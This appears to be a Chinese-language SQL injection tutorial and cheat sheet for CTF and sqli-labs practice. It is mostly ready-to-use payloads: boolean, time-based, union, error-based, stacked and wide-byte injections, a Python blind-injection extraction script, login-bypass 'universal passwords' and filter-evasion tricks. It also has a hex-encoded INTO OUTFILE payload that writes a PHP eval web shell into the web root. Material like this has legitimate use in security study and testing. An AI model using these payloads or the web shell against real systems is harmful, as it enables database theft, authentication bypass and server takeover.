sql注入基礎
https://sqliteonline.com/ 在線數據庫練習查詢
注入常見參數
user()
:當前數據庫用戶database()
:當前數據庫名version()
:當前使用的數據庫版本@@datadir
:數據庫存儲數據路徑concat()
:聯合數據,用於聯合兩條數據結果。如concat(username,0x3a,password)
group_concat()
:和concat()
類似,如group_concat(DISTINCT+user,0x3a,password)
,用於把多條數據一次注入出來concat_ws()
:用法類似hex()
和unhex()
:用於 hex 編碼解碼load_file()
:以文本方式讀取文件,在 Windows 中,路徑設置為\\
select xxoo into outfile '路徑'
:權限較高時可直接寫文件
基於布爾的盲注
因為web的頁面返回值都是True或者False,所以布爾盲注就是注入后根據頁面返回值來得到數據庫信息的一種辦法。
bools注入查詢語句
id=1' and length(database())=8--+
#判斷數據庫長度 看回顯
id=1' and left(database(),1)="s"--+
#用left函數判斷表名的左邊第一位
id=1' and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()limit 0,1),1,1))>80--+
#猜ascii字 判斷表名
基於二分法爆破bools盲注腳本
import requests
url = "http://localhost/sqli-labs-master/Less-5/?id="
flag = ''
for i in range(1,200):
low = 32
high = 127
while low < high:
mid = (low+high)//2
payload1 = "1' and ascii(substr((select database() limit 0,1),{},1))>{}--+".format(i,mid)#security
payload2 = "1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}--+".format(i,mid)#emails,referers,uagents,users
payload3 = "1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{},1))>{}--+".format(i,mid)
# emails:id,email_id ,referers:id,referer,ip_address,uagents:id,uagent,ip_address,username ,users:id,username,password,username,passwd,sex,age,email,phone,id
payload4 = "1' and ascii(substr((select group_concat(email_id) from security.emails ),{},1))>{}--+".format(i,mid)
r = requests.get(url=url+payload1)
# print(payload1)
# print(r.text)
if 'You are in' in r.text:
low = mid + 1
else:
high = mid
# print(low,mid,high)
flag += chr(low)
print(flag)
基於時間的盲注
當布爾型注入沒有結果(頁面顯示正常)的時候,我們很難判斷注入的代碼是否被執行,也可以說到底這個注入點存不存在?這個時候布爾型注入就無法發揮自己的作用了。基於時間的盲注便應運而生,所謂基於時間的盲注,就是我們根據web頁面相應的時間差來判斷該頁面是否存在SQL注入點。
時間盲注
常用的判斷語句:
' and if(1=0,1, sleep(10)) --+
" and if(1=0,1, sleep(10)) --+
) and if(1=0,1, sleep(10)) --+
') and if(1=0,1, sleep(10)) --+
") and if(1=0,1, sleep(10)) --+
#判斷數據庫長度
id=1' and if((length(database())>5),sleep(5),0)--+
#爆數據庫
id=1‘ and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+
聯合查詢注入
使用聯合查詢進行注入的前提是我們要進行注入的頁面必須有顯示位。所謂聯合查詢注入即是使用union合並兩個或多個SELECT語句的結果集,所以兩個及以上的select必須有相同列、且各列的數據類型也都相同。聯合查詢注入可在鏈接最后添加order by 9基於隨意數字的注入,根據頁面的返回結果來判斷站點中的字段數目
聯合查詢語句
id=-1' union select 1,2,3.....
#返回頁面正確確定列
id=-1' union select 1,2,database()
#爆數據庫
id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=’security‘--+
#爆表名
id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='uagents'--+
#爆列名
id=-1' union select 1,2 group_concat(id) from security.uagents--+
報錯注入
此方法是在頁面沒有顯示位,但是echo mysql_error();函數輸出了錯誤信息的時候方能使用。優點是注入速度快,缺點是語句較為復雜,而且只能用limit依次進行猜解。總體來說,報錯注入其實是一種公式化的注入方法,主要用於在頁面中沒有顯示位,但是用echo mysql_error();輸出了錯誤信息時使用。
公式
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)x from information_schema.tables group by x)a));
or updatexml(1,concat(0x7e,(version())),0)//最大長度是32位
and extractvalue(1,concat(0x7e,(select database())))
and exp(~(select * from (select user())a));
and updatexml(1,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,4
二次注入
二次注入需要具備的兩個條件:
(1)用戶向數據庫插入惡意語句(即使后端代碼對語句進行了轉義,如mysql_escape_string、mysql_real_escape_string轉義)
(2)數據庫對自己存儲的數據非常放心,直接取出惡意數據給用戶
用這樣的payload將數據帶出來
0'^(select hex(hex(substr((select * from flag) from {i} for 1))))^'0
兩次hex是為了將第一次hex中的字母變成數字,substr是因為如果hex的值太大,sql會變成科學計數法,丟失精度
寬字節注入
- 原理:GBK編碼、URL轉碼
利用mysql的一個特性,mysql在使用GBK編碼的時候,會認為兩個字符是一個漢字(前一個ASCII碼要大於128,才到漢字的范圍)
例如:' -> ' -> %5C%27
%df' -> %df' -> %df%5C%27 - sql字符集特性
MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 兩種編碼格式, utf8_general_ci不區分大小寫, Ä = A, Ö = O, Ü = U 這三種條件都成立, 對於utf8_general_ci下面的等式成立:ß = s ,但是,對於utf8_unicode_ci下面等式才成立:ß = ss 。
可以看到大寫O和Ö是相等的
-
SQL注入常用URL編碼
空格 %20
' %27
# %23
\ %5C -
php-addslashes函數:在特殊字符前加上反斜線\來轉義
-
如何從addslashes函數逃逸?
\
前面再加一個\
,變成\\'
,這樣\就被轉義了- 把\弄沒
-
表名或列名可以使用16進制轉碼來實現
例如:ctf -> 0x637466
sqlmap中加參數--hex
order by 后的注入
order by
由於是排序語句,所以可以利用條件語句做判斷,根據返回的排序結果不同判斷條件的真假。一般帶有 order
或者 order by
的變量很可能是這種注入,在知道一個字段的時候可以采用如下方式注入:
原始鏈接:http://www.test.com/list.php?order=vote
根據 vote
字段排序。找到投票數最大的票數 num
然后構造以下鏈接:
http://www.test.com/list.php?order=abs(vote-(length(user())>0)*num)+asc
看排序是否變化。還有一種方法不需要知道任何字段信息,使用 rand
函數:
http://www.test.com/list.php?order=rand(true)
http://www.test.com/list.php?order=rand(false)
以上兩個會返回不同的排序,判斷表名中第一個字符是否小於 128 的語句如下:
http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))
堆疊查詢注入
-
原理:利用
;
結束語句並插入自己的sql語句 -
適用:
- Mysql、SqlServer、Postgresql(Oracle不行)
- 只有當調用數據庫函數支持執行多條sql語句時才能夠使用,例如mysqli_multi_query()函數就支持多條sql語句同時執行
- PDO默認支持多語句查詢,如果php版本小於5.5.21或者創建PDO實例時未設置PDO::MYSQL_ATTR_MULTI_STATEMENTS為false時可能會造成堆疊注入
-
例子
利用存儲過程繞過select過濾
http://web16.buuoj.cn/? inject=1%27;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare%20execsql%20from%20@a;execute%20execsql;# 使用了大小寫繞過strstr($inject, "set") && strstr($inject, "prepare") 去掉URL編碼后 ?inject=1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsq
文件讀寫注入
select @@secure_file_priv
secure_file_priv
- 1、限制mysqld 不允許導入 | 導出
--secure_file_prive=null
- 2、限制mysqld 的導入 | 導出 只能發生在/tmp/目錄下
--secure_file_priv=/tmp/
- 3、不對mysqld 的導入 | 導出做限制
--secure_file_priv=
load_file
讀文件
寫文件
select 0x3C3F706870206576616C28245F524551554553545B2761275D293B203F3E into outfile '/var/www/html/1.php'
# <?php eval($_REQUEST['a']); ?>
萬能密碼
select * from admin where username = '' and password = ''
username | password |
---|---|
admin'# | |
'+' | '+' |
aaa'=' | aaa'=' |
1\ | '^'1 |
'%1# | |
'=0# | |
' or 1=1-- | |
' or 1=1# | |
') or ('1'='1-- |
SQL常用繞過技巧
- 空格
- /**/
- =
- like
- regexp
- !(<>)
- '
- 轉義符
\
- 16進制(例如:ctf -> 0x637466)
- 轉義符
- ,
- union注入使用join,例如
3' union select * from (select 1) a join (select 2 ) b %23
- substr from for
- if->case when
- union注入使用join,例如
繞過字符串黑名單
SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');
繞過引號限制
-- hex 編碼
SELECT * FROM Users WHERE username = 0x61646D696E
-- char() 函數
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)